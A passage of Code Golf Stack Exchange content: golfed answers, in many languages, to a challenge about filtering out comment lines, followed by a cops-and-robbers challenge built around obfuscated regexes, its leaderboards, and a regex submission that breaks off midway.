online!](https://tio.run/##ZZDbCoMwDIav9SmCF6OtbrgD24WMPYh4Ebt6AG1F3UDUZ3ddnSIshaT5kv4N4fuU82lKCM@wZgxpn6iaBAwD10VKNAiv0e40DNWrbXTq3mgwTrlsocRcEmr3tmWeAoYR3EGnluMbA6yqQjjeSo4Qo9RnRlwUou7gqaRWNsi3rTFY5OI/ubjAzLitJJt/aTbsBKpGmYrmsYFnBp3AzFtqh7XG/AsU6i2gFNAo7X4dm5FsKyFI9WhmCY7zvSYk1mGcPg "C (gcc) – Try It Online") [Answer] # [SNOBOL4 (CSNOBOL4)](http://www.snobol4.org/csnobol4/), ~~72~~ ~~70~~ ~~66~~ 50 bytes ``` R INPUT POS(6) (' ' REM . OUTPUT | '*') :S(R) END ``` [Try it online!](https://tio.run/##NYndCoIwAEav8ym@u80RYiVddBOVi6z8YeoDTBh5sZw0CILefaXWd3HgnM92pjE6ck7MkqyoKxR5Sdc@KAEBBE8RIK@r4XmDMOJjU1LhezyLnQvHodGyHeGNvmCQfa@VnXQJ85DdTdnt5CuGl5Lt/J@DIbMwgjZPhbuCNV/8Tm@3P8T8iFNyvlzTDw "SNOBOL4 (CSNOBOL4) – Try It Online") Pattern matching in SNOBOL is quite different from regex but the idea here is still the same: If a line matches "six characters and then an asterisk", remove it, otherwise, remove the first seven characters of the line and print the result. This now actually takes better advantage of SNOBOL's conditional assignment operator. The pattern is `POS(6) (' ' REM . OUTPUT | '*')` which is interpreted as: Starting at position 6, match a space or an asterisk, and if you match a space, assign the rest of the line to `OUTPUT`. [Answer] # [Actually](https://github.com/Mego/Seriously), 13 bytes ``` ⌠6@tp' =*⌡M;░ ``` Input and output is done as a list of strings. Explanation: ``` ⌠6@tp' =*⌡M;░ ⌠6@tp' =*⌡M for each line: 6@t discard the first 6 characters p pop the first character of the remainder ' = is it a space? * multiply the string by the boolean - returns the string if true, and an empty string if false ;░ filter out empty strings ``` [Try it online!](https://tio.run/##S0wuKU3Myan8//9RzwIzh5ICdQVbrUc9C32tH02b@P9/tJIBGCgk5SRmgAklHYiQoZZCYkFBTmoxTMBIIb8oMS89tdgeJmKspVCZmpihA5PQg0hoGZgo5OSXpSrkpioU5wMJqLRSLAA "Actually – Try It Online") [Answer] # [Gaia](https://github.com/splcurran/Gaia), 9 bytes ``` 6>¦'*«⁈ḥ¦ ``` A function accepting a list of strings and returning a list of strings. [Try it online!](https://tio.run/##S0/MTPz/38zu0DJ1rUOrHzV2PNyx9NCy/6mP2ib@j37UMMcADBSSchIzwMSjhrkKMGFDLYXEgoKc1GJkQSOF/KLEvPTUYntkUWMthcrUxAwdmKQeQlLLwEQhJ78sVSE3VaE4H0hAlQBVxAIA "Gaia – Try It Online") ### Explanation ``` 6>¦ Remove the first 6 characters of each string '*«⁈ Filter out ones that start with * ḥ¦ Remove the initial space from each ``` [Answer] # [Ruby](https://www.ruby-lang.org/), ~~39~~ ~~38~~ ~~36~~ ~~29~~ ~~23~~ ~~22~~ 20 + 1 = 21 bytes ``` $_[/.{6}( |.* )/]='' ``` [Try it online!](https://tio.run/##KypNqvz/XyU@Wl@v2qxWQ6FGT4tLUz/WVl39/38DMFBIyknMABNcYL6hlkJiQUFOajGEa6SQX5SYl55abA/hG2spVKYmZujAhPVAwloGJgo5@WWpCrmpCsX5QAIq@S@/oCQzP6/4v24BAA "Ruby – Try It Online") Uses `-p` flag. Explanation: The `-p` flag adds an implicit block around the code, so the code that actually gets run looks like this: ``` while gets $_[/.{6}( |.* )/]='' puts $_ end ``` `gets` reads a line of text and stores its result in `$_`. `$_[/.../]=''` removes the first occurence of the regex `...` in `$_`. `/.{6}( |.*\n)/` matches 6 of any character at the start of a line, followed by either a space or the rest of the line. Because the space appears first, it will try to remove only the first 6 characters and a space before attempting to remove the entire line. `$_` is then printed out, and this process is repeated for each line. [Answer] # GNU Sed, 19 + 2 = 21 characters Requires `-E` argument to `sed` to enable extended regular expressions. ``` /^.{6}\*/d;s/^.{7}/ ``` [Answer] # Java 8, 40 bytes Regular expressions: just about, but not quite, the wrong tool for the job. Lambda from `String` to `String` (assign to `Function<String, String>`). Input must have a trailing newline. ``` s->s.replaceAll("(?m)^.{6}( |.*\\n)","") ``` [Try It Online](https://tio.run/##ZVFNb8IwDD3TX2H1lFQQsQ9xYYCmTbvtxHHdJFMMhKVO1aTdGOO3d6Etmqbl4K/nZ78ke6xxZAvi/fq9KaqV0RlkBp2DZ9QMx2hQlLpGT@A8@gBuNKOBfaCpymujNhVnXltWT31wt/Sl5u0QOj@HULd5Tuwf7MoamDVuNHeqpMJgRvfGiFgscvmmjpOTgG@VpCnLeBjHshlMo7C/E9Wvr61eQx6kiW78yyugDCoHv4qWGTJTCa73M2D6gH@4WB6cp1xpltPA77tV5eiRjM61Dy1xmn7FLdw328qr8CDsxd9bKSwKcxCXIUyfXkh5Zp6iUzNuD6wM7loTtflVAmcWuS69Blsib8ktuvwmgQPhbngpq3M5Gd@CsTVBHj7EBtOD0Q8) ## Acknowledgments * -3 bytes thanks to [Sven Hohenstein's regex](https://codegolf.stackexchange.com/a/140316) [Answer] # [Haskell](https://www.haskell.org/), ~~27~~ 25 bytes Laikoni's version is shorter than mine: ``` f n=[x|' ':x<-drop 6<$>n] ``` [Try it online!](https://tio.run/##NYlNCoMwFAav8hEEIVixP3RRtB5EXLzSZyONSUiKWOjd06LNLGYxoyg8WesYB5imWz458stS7@7eOpzr7Gr6ONFo0MD50byQYehEtYKbJrVKFFvaS5BzmkMKB1hP5sGhTeUo8WZSRRrlNmR1grYzY2IE@9N/iz5@AQ "Haskell – Try It Online") My version: ``` f n=[drop 7x|x<-n,x!!6<'*'] ``` [Try it online!](https://tio.run/##NYlNCsIwFAav8jUIhRCl/mA3LR6kdPHEV1tMk5CIRPDuUVozi1nMjBQerHVKA0zb3bx1qOMnNlujYlGcm1KWfZppMmjh/GSe2GDoRLWAq6ZxkVBr2kuQc5pDDgdYT@bO4ZLLUeLNNKo8duuQ1QnavhgzI9if/lv06Qs "Haskell – Try It Online") [Answer] ## R, 47 45 bytes ``` function(x)gsub("(?m)^.{6}( |.*\\n)","",x,,T) ``` [Answer] # APL, 23 bytes * 23 bytes assuming [SBCS](https://github.com/abrudz/SBCS). In UTF-8 it'll be **42 bytes** This is my first ever attempt at a code golf challenge, feel free to improve, i'm sure i could have saved one or two characters if i wasn't so adamant on making this code *'tacit'* This assumes the input is a list of lines and return a list of uncommented lines, this makes everything a bit easier since APL was explicitly made to work on list! ``` (('*'≠7∘⌷)⊢⍤/(8≤⍳8)∘⊂)¨ ``` Go ahead and [try it!](https://razetime.github.io/APLgolf/?h=AwA&c=09BQ11J/1LnA/FHHjEc92zUfdS161LtEX8PiUeeSR72bLTRB4l1NmodWAAA&f=S1NQNwADhaScxAwwoQ4VMtRSSCwoyEkthgkYKeQXJealpxbbw0SMtRQqUxMzdGASehAJLQMThZz8slSF3FSF4nwgAZVWBwA&i=AwA&r=tryapl&l=apl-dyalog&m=dfn&n=f#) (Thanks @Sʨɠɠan) [Answer] # [Pyke](https://github.com/muddyfish/PYKE), 9 bytes ``` 36 4C 3E 23 64 DE 29 6D 74 ``` [Try it here!](http://pyke.catbus.co.uk/?code=36+4C+3E+23+64+DE+29+6D+74&input=%22000323%2a+this+is+a+comment%22%2C%22000000+apple%22%2C%22000323%2a+this+is+a+comment%22%2C%22000001+banana%22%2C%22celery+donuts%22&warnings=1&hex=1) Readable: ``` 6L>#d.^)mt ``` [Try it here!](http://pyke.catbus.co.uk/?code=6L%3E%23d.%5E%29mt&input=%22000323%2a+this+is+a+comment%22%2C%22000000+apple%22%2C%22000323%2a+this+is+a+comment%22%2C%22000001+banana%22%2C%22celery+donuts%22&warnings=1&hex=0) ``` 6L> - [i[6:] for i in input] #d.^) - filter(i.startswith(" ") for i in ^) mt - [i[-1:] for i in ^] ``` [Answer] # [Retina](https://github.com/m-ender/retina), ~~23~~ 15 bytes *5 bytes saved thanks to [nmjcman101](https://codegolf.stackexchange.com/users/62346/nmjcman101) 1 byte saved thanks to [Neil](https://codegolf.stackexchange.com/users/17602/neil)* ``` m`^.{6}( |.*¶) ``` [Try it online!](https://tio.run/##K0otycxL/P8/NyFOr9qsVkOhRk/r0DZNrv//DcBAISknMQNMcIH5hloKiQUFOanFEK6RQn5RYl56arE9hG@spVCZmpihAxPWAwlrGZgo5OSXpSrkpioU5wMJqCQXAA) [Answer] # JavaScript, ~~44~~ 34 bytes *[Crossed-out 44 is still regular 44.](https://codegolf.stackexchange.com/questions/139375/generate-every-ascii-string/139382#139382)* *6 bytes saved thanks to [tsh](https://codegolf.stackexchange.com/users/44718/tsh)* ``` a=>a.replace(/^.{6}( |.*\n)/gm,'') ``` [Try it online!](https://tio.run/##NYnLDoIwEEX3fsXsaBss@Igbg/6IMYx1KJrSaaghMeq3VwW9i5Occ684YDT9Jdzmns@UmiphtUPdU3BoSBRH/di8BDy1OnhZ2C7PMpkM@8iOtGMrGlGX4@DksB0xG32hAENwFCddAvfoLcX95CsFd8I2/2f9zapcg@OBoCOI/MHvrKXcpjc) [Answer] # JavaScript (ES6), 48 bytes ``` s=>s.map(c=>c[6]<"*"?console.log(c.substr(7)):1) ``` [Try it online!](https://tio.run/##NY1BDoIwFET3nuKnq7bRBtRoohYOIi5KbQRT2oZfCXL5qgRn8ZJ5s5inGhTqvg1x4/zdJGsijCCBZHOgtqqZUblZ5BxUCNbg0rfge@UeBstF7Di8jWrWfy9mz7M9WD8Y6Ayg/2JZyXn1e5xkQlmg6FSgWhb6erhdCCel9g69NcL6B9UCXzXGnh4ZO@UsTXQUGGwbKakcYSx9AA "JavaScript (Node.js) – Try It Online") [Answer] # ><>, ~~57~~ 53 Bytes ``` >i~i~i~i~i~i~i67*=\ <o$/?:$/?=a:;?(0:i< \~$/~\ $ / <o\?/ ``` [try it online](https://tio.run/##S8sszvj/3y6zDgmamWvZxnDZ5Kvo21sBsW2ilbW9hoFVpg1XTJ2Kfl2MggqXvoKCTX6Mvf7//wZgoJCUk5gBJrjAfEMthcSCgpzUYgjXSCG/KDEvPbXYHsI31lKoTE3M0IEJ64GEtQxMFHLyy1IVclMVivOBBFQSAA) ## Explanation ``` >i~i~i~i~i~i~i67*= Read in the first seven bytes of the line i~i~i~i~i~i~ Read, and discard 6 characters i Read the seventh 67*= Check if the seventh character was an asterisk (and leave that value on the stack ); <o$/?:$/?=a:;?(0:i< Read characters until a newline or eof i Read the next character of the line ;?(0: If it's a -1, terminate the program /?=a: If it's a newline, break out of the loop /?:$ If the seventh character was not an asterisk <o$ Output this character \~$/ otherwise discard it /~\ $ Having reached the end of the line, output / <o\?/ the newline only if it was not a comment ``` # Edit: 53 bytes ``` > i~i~i~i~i~i~i67*=\ /?=a<o/?$@:$@:$;?(0:i< ~ \~/ ``` Basically the same stuff as before, but restructured slightly ~~As a side note: I'm disappointed no-one's done this in cobol yet.~~ [Answer] # C#, ~~160 145 90~~ 89 bytes ``` t=>{var o="";foreach(var s in i.Split('\n'))if(s[6]!=42)o+=s.Substring(7)+"\n";return o;} ``` Thanks to Pavel & auhmaan for reducing the size. [Answer] ## Python 3, 62 bytes (no regex) ``` def f(s): for w in s.split('\n'): if w[6]!='*':print(t[7:]) ``` It works! ``` >>> s="""000000 blah blah 000001* apples 000002 oranges? 000003* yeah, oranges. 000*04 love me some oranges""" >>> f(s) blah blah oranges? love me some oranges ``` [Answer] # [sed](https://www.gnu.org/software/sed/), 11 bytes + 3 bytes option `-nr` = 14 bytes. ``` s/^.{6} //p ``` [Try it online!](https://tio.run/##K05N0U3PK/3/v1g/Tq/arFZBX7/g/38DMFBIyknMABNcYL6hlkJiQUFOajGEa6SQX5SYl55abA/hG2spVKYmZujAhPVAwloGJgo5@WWpCrmpCsX5QAIq@S@/oCQzP6/4v25eEQA "sed – Try It Online") # [sed](https://www.gnu.org/software/sed/), 16 bytes ``` #n s/^.\{6\} //p ``` [Try it online!](https://tio.run/##K05N0U3PK/3/XzmPq1g/Ti@m2iymVkFfv@D/fwMwUEjKScwAE1xgvqGWQmJBQU5qMYRrpJBflJiXnlpsD@EbaylUpiZm6MCE9UDCWgYmCjn5ZakKuakKxflAAioJAA "sed – Try It Online") `#n` on top of line is for `-n`, which is ~~GNU-extension~~ [POSIX-compatible](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sed.html). [Answer] # [CLC-INTERCAL](https://esolangs.org/wiki/CLC-INTERCAL), 116 bytes. ``` DO;1<-#6DO,1<-#999DOCOMEFROM.1DOWRITEIN;1+,1(91)DO.1<-,1SUB#2(1)DO.2<-.1~#1DDOCOMEFROM.2DO,1SUB#3<-#0(95)DOREADOUT,1 ``` [Try it online, although you need to copy and paste!](http://golf.shinh.org/check.rb) ## Assumption * Each line should have <=80 characters except trailing newline character(s), although this program can handle up to 339 characters per line (or more, depending on what kind of characters are used). * Does not matter whether input has trailing newline or not. ## Explaination ``` DONOTE stores first six characters of line DO;1<-#6 DONOTE stores rest of characters of line except trailing newline DO,1<-#999 DONOTE label one DOCOMEFROM.1 DOWRITEIN;1+,1 DONOTE goto label one if tail one is asterisk DONOTE first two items of tail one shall be DONOTE 91 and 95 if space, or DONOTE 91 and 95 if asterisk (91)DO.1<-,1SUB#2 DONOTE goto label two if line is not empty DONOTE obtw every item of tail will be zero DONOTE if empty line (1)DO.2<-.1~#1 DONOTE die here D DONOTE label two DOCOMEFROM.2 DONOTE erase the space DONOTE obtw zeros on tail are ignored DONOTE when reading out DONOTE see source code for more info DO,1SUB#3<-#0 DONOTE goto label 1 after reading out (95)DOREADOUT,1 ``` ]
[Question] [ > > **Note**: This challenge is now closed. Any future cops' submission will not be considered for the accepted answer. This is to ensure that no one can post a very simple regex in the future that only remains uncracked because no one is interested in the challenge any more. > > > ## The Cops' Challenge You are to write a short, obfuscated regex, satisfying the following spec: * You may choose any flavour that is freely testable online. There's a good list of online testers [over on StackOverflow](https://stackoverflow.com/tags/regex/info). In particular, [**Regex101**](http://regex101.com/) should be good to get you started, as it supports PCRE, ECMAScript and Python flavours. You can increase the timeout limit by clicking on the wrench in the top right corner if necessary. Please include the tester you choose in your answer. If no suitable tester is available for your flavour of choice, you may also use an online interpreter like [ideone](http://ideone.com/) and write a little script in the host language which people can use to test your submission. * You may use any feature of that flavour, which does not directly invoke the host language (like Perl's code evaluation features). * Likewise, you may use any modifiers (if your flavour has them), unless they result in code evaluation. * Your regex must accept at least one string **S** and reject at least one string **T**, each of which is at least 16 and not more than 256 characters in length, in a reasonable amount of time (not significantly longer than a minute). **S** and **T** may contain Unicode characters that aren't ASCII, as long as there's a way to enter them into the online tester. Any such pair of strings will be a *key* to your submission. * Your regex may take arbitrarily long on any other input. The core of the challenge is to craft a regex whose *key* is hard to find. That is, it should either be hard to tell which string it doesn't match or which string it matches (or potentially even both if the regex takes days to finish on all but the key's strings). ## The Robbers' Challenge All users, including those who have submitted their own regex(es), are encouraged to "crack" other submissions. A submission is cracked when one of its *keys* is posted in the associated comments section. *Important:* Make sure that both strings you post are between 16 and 256 characters inclusive, even if almost any string could be used be used for one part of the key. If a submission persists for 72 hours without being modified or cracked, the author may reveal a valid key by editing it into a spoiler-tag in his answer. This will make his answer "safe", i.e. it can no longer be cracked. Only one cracking attempt per submission per user is permitted. For example, if I submit to user X: "Your key is `0123456789abcdef`/`fedcba9876543210`." and I'm wrong, user X will disclaim my guess as incorrect and I will no longer be able to submit additional guesses for that submission, but I can still crack other submissions (and others can still crack that submission). Cracked submissions are eliminated from contention (provided they are not "safe"). They should not be edited or deleted. If an author wishes to submit a new regex, (s)he should do so in a separate answer. Do not crack your own submission! **Note:** For long strings in the comments without spaces, SE inserts manual line breaks in the form of two Unicode characters. So if you post a key in backticks which is so long that it line-wraps between non-space characters, it won't be possible to copy the key straight back out into a regex tester. In this case, please provide a permalink to the relevant regex tester with the cop's regex and your key - most testers include this feature. ## Scoring A cop's score will be the size of their regex in bytes (pattern plus modifiers, potential delimiters are not counted), provided that it hasn't been cracked. The lowest score of a "safe" submission will win. A robber's score will be the number of submissions they cracked. In the event of a tie, the total byte size of submissions they cracked will be used a tie-breaker. Here, highest byte count wins. As stated above, any cop may participate as a robber and vice-versa. I will maintain separate leaderboards for the two parts of the challenge. ## Leaderboards *Last update: 19/10/2014, 20:33 UTC* **Cops:** Submissions in italics are not yet safe. 1. [**nneonneo**](https://codegolf.stackexchange.com/a/40077/8478), 841 bytes 2. [**Wumpus Q. Wumbley**](https://codegolf.stackexchange.com/a/40033/8478), 10,602 bytes 3. [**Sp3000**](https://codegolf.stackexchange.com/a/40001/8478), 52,506 bytes 4. [**user23013**](https://codegolf.stackexchange.com/a/39996/8478), 53,884 bytes 5. [**nneonneo**](https://codegolf.stackexchange.com/a/39950/8478), 656,813 bytes **Robbers:** 1. **user23013**, Cracked: 11, Total Size: [733](https://codegolf.stackexchange.com/a/39847/8478) + [30](https://codegolf.stackexchange.com/a/39851/8478) + [2,447](https://codegolf.stackexchange.com/a/39859/8478) + [71](https://codegolf.stackexchange.com/a/39864/8478) + [109 + 121](https://codegolf.stackexchange.com/a/39866/8478) + [97](https://codegolf.stackexchange.com/a/39863/8478) + [60](https://codegolf.stackexchange.com/a/39904/8478) + [141](https://codegolf.stackexchange.com/a/39910/8478) + [200,127](https://codegolf.stackexchange.com/a/39941/8478) + [7,563](https://codegolf.stackexchange.com/a/39997/8478) = 211,499 bytes 2. **nneonneo**, Cracked: 10, Total Size: [4,842](https://codegolf.stackexchange.com/a/39900/8478) + [12,371](https://codegolf.stackexchange.com/a/39963/8478) + [150](https://codegolf.stackexchange.com/a/39976/8478) + [3,571](https://codegolf.stackexchange.com/a/39975/8478) + [96](https://codegolf.stackexchange.com/a/39984/8478) + [168](https://codegolf.stackexchange.com/a/39990/8478) + [395](https://codegolf.stackexchange.com/a/39992/8478) + [1,043](https://codegolf.stackexchange.com/a/39986/8478) + [458](https://codegolf.stackexchange.com/a/39988/8478) + [17,372](https://codegolf.stackexchange.com/a/39994/8478) = 40,466 bytes 3. **Wumpus Q. Wumbley**, Cracked: 6, Total Size: [22](https://codegolf.stackexchange.com/a/39854/8478) + [24](https://codegolf.stackexchange.com/a/39877/8478) + [158](https://codegolf.stackexchange.com/a/39874/8478) + [32](https://codegolf.stackexchange.com/a/39922/8478) + [145,245](https://codegolf.stackexchange.com/a/39948/8478) + [145,475](https://codegolf.stackexchange.com/a/39956/8478) = 290,956 bytes 4. **Dennis**, Cracked: 2, Total Size: [70](https://codegolf.stackexchange.com/a/39844/8478) + [73](https://codegolf.stackexchange.com/a/39907/8478) = 143 bytes 5. **harius**, Cracked: 1, Total Size: [9,998](https://codegolf.stackexchange.com/a/39908/8478) bytes 6. **g.rocket**, Cracked: 1, Total Size: [721](https://codegolf.stackexchange.com/a/39853/8478) bytes 7. **stokastic**, Cracked: 1, Total Size: [211](https://codegolf.stackexchange.com/a/39834/8478) bytes 8. **Sp3000**, Cracked: 1, Total Size: [133](https://codegolf.stackexchange.com/a/39875/8478) bytes 9. **TwiNight**, Cracked: 1, Total Size: [39](https://codegolf.stackexchange.com/a/39931/8478) bytes [Answer] # Basic Regex, 656813 bytes [safe!] *The regex to end all regexes. One final hurrah into the night.* *Testable under PCRE, Perl, Python and many others.* bzip2'd and base64-encoded version on Pastebin: <http://pastebin.com/9kprSWBn> (Pastebin didn't want the raw version because it was too big). To make sure you get the right regex, you can verify that its MD5 hash is ``` c121a7604c6f819d3805231c6241c4ef ``` or check that it begins with ``` ^(?:.*[^!0-9@-Za-z].*|.{,255}|.{257,}|.[U-Za-z].{34}[12569@CDGHKLOPSTWXabefijmnqruvyz].{8}[02468@BDFHJLNPRTVXZbdfhjlnprtvxz].{210} ``` and ends with ``` .{56}[7-9@-DM-Tc-js-z].{121}[3-6A-DI-LQ-TYZabg-jo-rw-z].{28}[!0-9@-T].{48})$ ``` The key is still a nice comfortable 256 bytes. I tested this regex with Python, but note that this regex doesn't use any special features of Python. Indeed, with the exception of `(?:)` (as a grouping mechanism), it actually uses no special features of any regex engine at all: just basic character classes, repetitions, and anchoring. Thus, it should be testable in a great number of regular expression engines. Well, actually, I can still crank the difficulty up, assuming someone doesn't just instantly solve the smaller problems...but I wager people will have trouble with a 1GB regex... --- After 72 hours, this submission **remains uncracked!** Thus, I am now revealing the key to make the submission safe. This is the first safe submission, after over 30 submissions were cracked in a row by persistent robbers. **Match**: `Massive Regex Problem Survives The Night!` **Non-match**: `rae4q9N4gMXG3QkjV1lvbfN!wI4unaqJtMXG9sqt2Tb!0eonbKx9yUt3xcZlUo5ZDilQO6Wfh25vixRzgWUDdiYgw7@J8LgYINiUzEsIjc1GPV1jpXqGcbS7JETMBAqGSlFC3ZOuCJroqcBeYQtOiEHRpmCM1ZPyRQg26F5Cf!5xthgWNiK!8q0mS7093XlRo7YJTgZUXHEN!tXXhER!Kenf8jRFGaWu6AoQpj!juLyMuUO5i0V5cz7knpDX0nsL` Regex explanation: > > The regex was generated from a "hard" 3SAT problem with a deliberately-introduced random solution. This problem was generated using the algorithm from [Jia, Moore & Strain, 2007]: "Generating Hard Satisfiable Formulas by Hiding Solutions Deceptively". Six boolean variables are packed into each byte of the key, for a total of 1536 variables. > > The regex itself is quite simple: it expresses each of 7680 3SAT clauses as a an inverted condition (by de Morgan's laws), and matches any string that does not meet one of the 3SAT clauses. Therefore, the key is a string which does not match the regex, i.e. one that satisfies every one of the clauses. > > > [Answer] # .NET regex, 841 bytes [Safe!] Now that I've got a safe entry, lets see how small I can make the regex! ``` ^(?<a>){53}((0(((?<-a>)(?<A>){7}|){997}((?<-b>)(?<B>){7}|){997}((?<-c>)(?<C>){7}|){997}((?<-d>)(?<D>){7}|){997}((?<-e>)(?<E>){7}|){997}((?<-f>)(?<F>){7}|){997}((?<-g>)(?<G>){7}|){997}(?<A>){5})|1(((?<-a>)(?<A>){3}|){997}((?<-b>)(?<B>){3}|){997}((?<-c>)(?<C>){3}|){997}((?<-d>)(?<D>){3}|){997}((?<-e>)(?<E>){3}|){997}((?<-f>)(?<F>){3}|){997}((?<-g>)(?<G>){3}|){997}(?<A>)))((?<-A>){997}(?<B>)|){9}((?<-A>)(?<a>)|){997}((?<-B>){997}(?<C>)|){9}((?<-B>)(?<b>)|){997}((?<-C>){997}(?<D>)|){9}((?<-C>)(?<c>)|){997}((?<-D>){997}(?<E>)|){9}((?<-D>)(?<d>)|){997}((?<-E>){997}(?<F>)|){9}((?<-E>)(?<e>)|){997}((?<-F>){997}(?<G>)|){9}((?<-F>)(?<f>)|){997}((?<-G>){997}|){9}((?<-G>)(?<g>)|){997}){256}$(?<-a>){615}(?(a)(?!))(?<-b>){59}(?(b)(?!))(?<-c>){649}(?(c)(?!))(?<-d>){712}(?(d)(?!))(?<-e>){923}(?(e)(?!))(?<-f>){263}(?(f)(?!))(?<-g>){506}(?(g)(?!)) ``` *Prettified*: ``` ^(?<a>){53} ( (0( ((?<-a>)(?<A>){7}|){997} ((?<-b>)(?<B>){7}|){997} ((?<-c>)(?<C>){7}|){997} ((?<-d>)(?<D>){7}|){997} ((?<-e>)(?<E>){7}|){997} ((?<-f>)(?<F>){7}|){997} ((?<-g>)(?<G>){7}|){997} (?<A>){5}) |1( ((?<-a>)(?<A>){3}|){997} ((?<-b>)(?<B>){3}|){997} ((?<-c>)(?<C>){3}|){997} ((?<-d>)(?<D>){3}|){997} ((?<-e>)(?<E>){3}|){997} ((?<-f>)(?<F>){3}|){997} ((?<-g>)(?<G>){3}|){997} (?<A>)) ) ((?<-A>){997}(?<B>)|){9}((?<-A>)(?<a>)|){997} ((?<-B>){997}(?<C>)|){9}((?<-B>)(?<b>)|){997} ((?<-C>){997}(?<D>)|){9}((?<-C>)(?<c>)|){997} ((?<-D>){997}(?<E>)|){9}((?<-D>)(?<d>)|){997} ((?<-E>){997}(?<F>)|){9}((?<-E>)(?<e>)|){997} ((?<-F>){997}(?<G>)|){9}((?<-F>)(?<f>)|){997} ((?<-G>){997}|){9} ((?<-G>)(?<g>)|){997} ){256}$ (?<-a>){615}(?(a)(?!)) (?<-b>){59}(?(b)(?!)) (?<-c>){649}(?(c)(?!)) (?<-d>){712}(?(d)(?!)) (?<-e>){923}(?(e)(?!)) (?<-f>){263}(?(f)(?!)) (?<-g>){506}(?(g)(?!)) ``` Features: * *Short*, 841 bytes * *Golfed* and written by hand * Not known to encode an NP-hard problem * Times out on most invalid input :) * Tested on <http://regexhero.net/tester/>, takes ~5 seconds for the valid input Thanks to Sp3000 and user23013 for cluing me in to .NET regex. --- After 72 hours, I am revealing the key to make this submission safe. **Match**: ``` 1110111111110010000110011000001011011110101111000011101011110011001000000111111111001010000111100011111000000100011110110111001101011001000101111110010111100000000010110001111011011111100000011001101110011111011010100111011101111001110111010001111011000000 ``` **Non-match**: `Aren'tHashFunctionsFun?` Explanation: > > This regular expression implements a very simple and rather stupid hash function. The hash function computes a single integer `x` as output. `x` starts off equal to 53. It is adjusted based on each character encountered: if it sees a `0`, it will set `x = 7x + 5`, and if it sees a `1`, it will set `x = 3x + 1`. `x` is then reduced mod 9977. The final result is checked against a predefined constant; the regex fails to match if the hash value is not equal. > > Seven capture groups (a-g) are used to store the base-997 digits of `x`, with seven more capture groups (A-G) serving as temporary storage. I use the "balancing capture groups" extension of .NET regex to store integers in capture groups. Technically, the integer associated with each capture group is the number of unbalanced matches captured by that group; "capturing" an empty string using `(?<X>)` increments the number of captures, and "balancing" the group using `(?<-X>)` decrements the number of captures (which will cause a match failure if the group has no captures). Both can be repeated to add and subtract fixed constants. > > This hash algorithm is just one I cooked up in a hurry, and is the smallest hash algorithm I could come up with that seemed reasonably secure using only additions and multiplications. It's definitely not crypto-quality, and there are likely to be weaknesses which make it possible to find a collision in less than 9977/2 hash evaluations. > > > > > > > [Answer] # ECMAScript (10602 bytes) (Language note: I see a lot of posts labeled ruby, or python, or whatever, when they really don't use any language-specific features. This one only requires `(?!...)` and `(?=...)` on top of POSIX ERE with backreferences. Those features are probably in your favorite language's regexp engine, so don't be discouraged from trying the challenge because I chose to use the javascript online tester.) Just a little bit of fun, not as computationally difficult as some of the others. ``` ^(?!(.).*\1.|.+(.).*\2)(?=(.))(?=(((?![ҁѧѦЩ]{2}).)*(?=[ҁѧѦЩ]{2}).){2}(?!.*[ЩѦҁѧ]{2}))(?=(((?![ɿqԼϚ]{2}).)*(?=[ϚqԼɿ]{2}).){2}(?!.*[ԼϚɿq]{2}))(?=((?![ϼλҡՄ]{2}).)*(?=[ҡλϼՄ]{2}).(?!.*[Մλϼҡ]{2}))(?=(((?![ʯֆɎF]{2}).)*(?=[FֆʯɎ]{2}).){2}(?!.*[FɎֆʯ]{2}))(?=(((?![AɔbУ]{2}).)*(?=[ɔbAУ]{2}).){3}(?!.*[ɔAbУ]{2}))(?=(((?![ʈͽՄɒ]{2}).)*(?=[ͽՄɒʈ]{2}).){2}(?!.*[ͽՄɒʈ]{2}))(?=(((?![ϙшѭϢ]{2}).)*(?=[Ϣϙѭш]{2}).){2}(?!.*[ѭшϙϢ]{2}))(?=(((?![ՐɏƋѠ]{2}).)*(?=[ƋՐɏѠ]{2}).){2}(?!.*[ѠƋՐɏ]{2}))(?=(((?![Жտʓo]{2}).)*(?=[Жտʓo]{2}).){2}(?!.*[Жʓտo]{2}))(?=(((?![ƆʙƸM]{2}).)*(?=[ƆʙMƸ]{2}).){2}(?!.*[ƆʙMƸ]{2}))(?=(((?![dNѤѯ]{2}).)*(?=[ѤѯNd]{2}).){2}(?!.*[ѤѯdN]{2}))(?=(((?![ҎvȵҜ]{2}).)*(?=[vҜȵҎ]{2}).){2}(?!.*[ҎvҜȵ]{2}))(?=(((?![ҹɀҀҤ]{2}).)*(?=[ɀҤҀҹ]{2}).){2}(?!.*[ҹҤҀɀ]{2}))(?=(((?![OɄfC]{2}).)*(?=[fOɄC]{2}).){3}(?!.*[ɄOfC]{2}))(?=((?![ǷϗЋԒ]{2}).)*(?=[ЋϗԒǷ]{2}).(?!.*[ԒϗЋǷ]{2}))(?=((?![էҹϞҀ]{2}).)*(?=[ҹҀէϞ]{2}).(?!.*[ϞէҹҀ]{2}))(?=(((?![QԶϧk]{2}).)*(?=[QkϧԶ]{2}).){2}(?!.*[ϧԶkQ]{2}))(?=(((?![cիYt]{2}).)*(?=[իYct]{2}).){2}(?!.*[tcYի]{2}))(?=(((?![ɐҷCɄ]{2}).)*(?=[CɄɐҷ]{2}).){3}(?!.*[CҷɐɄ]{2}))(?=(((?![ҥմѾϢ]{2}).)*(?=[ϢѾմҥ]{2}).){2}(?!.*[մϢѾҥ]{2}))(?=((?![Ϛǝjɰ]{2}).)*(?=[Ϛǝjɰ]{2}).(?!.*[jɰϚǝ]{2}))(?=((?![ϭBѾҸ]{2}).)*(?=[ѾҸϭB]{2}).(?!.*[ѾҸBϭ]{2}))(?=((?![ϼλyՎ]{2}).)*(?=[λՎyϼ]{2}).(?!.*[λՎyϼ]{2}))(?=((?![MԋƆƻ]{2}).)*(?=[ƻƆԋM]{2}).(?!.*[MƆԋƻ]{2}))(?=(((?![uԳƎȺ]{2}).)*(?=[uԳƎȺ]{2}).){3}(?!.*[ȺƎuԳ]{2}))(?=((?![ɂƐϣq]{2}).)*(?=[qϣƐɂ]{2}).(?!.*[ɂƐϣq]{2}))(?=(((?![ϫճωƺ]{2}).)*(?=[ωϫճƺ]{2}).){2}(?!.*[ճƺϫω]{2}))(?=((?![ζɏΞƋ]{2}).)*(?=[ɏƋζΞ]{2}).(?!.*[ɏƋζΞ]{2}))(?=(((?![Ӄxԏϣ]{2}).)*(?=[Ӄxԏϣ]{2}).){2}(?!.*[ԏxϣӃ]{2}))(?=(((?![ԈʄʫԻ]{2}).)*(?=[ԻʄԈʫ]{2}).){2}(?!.*[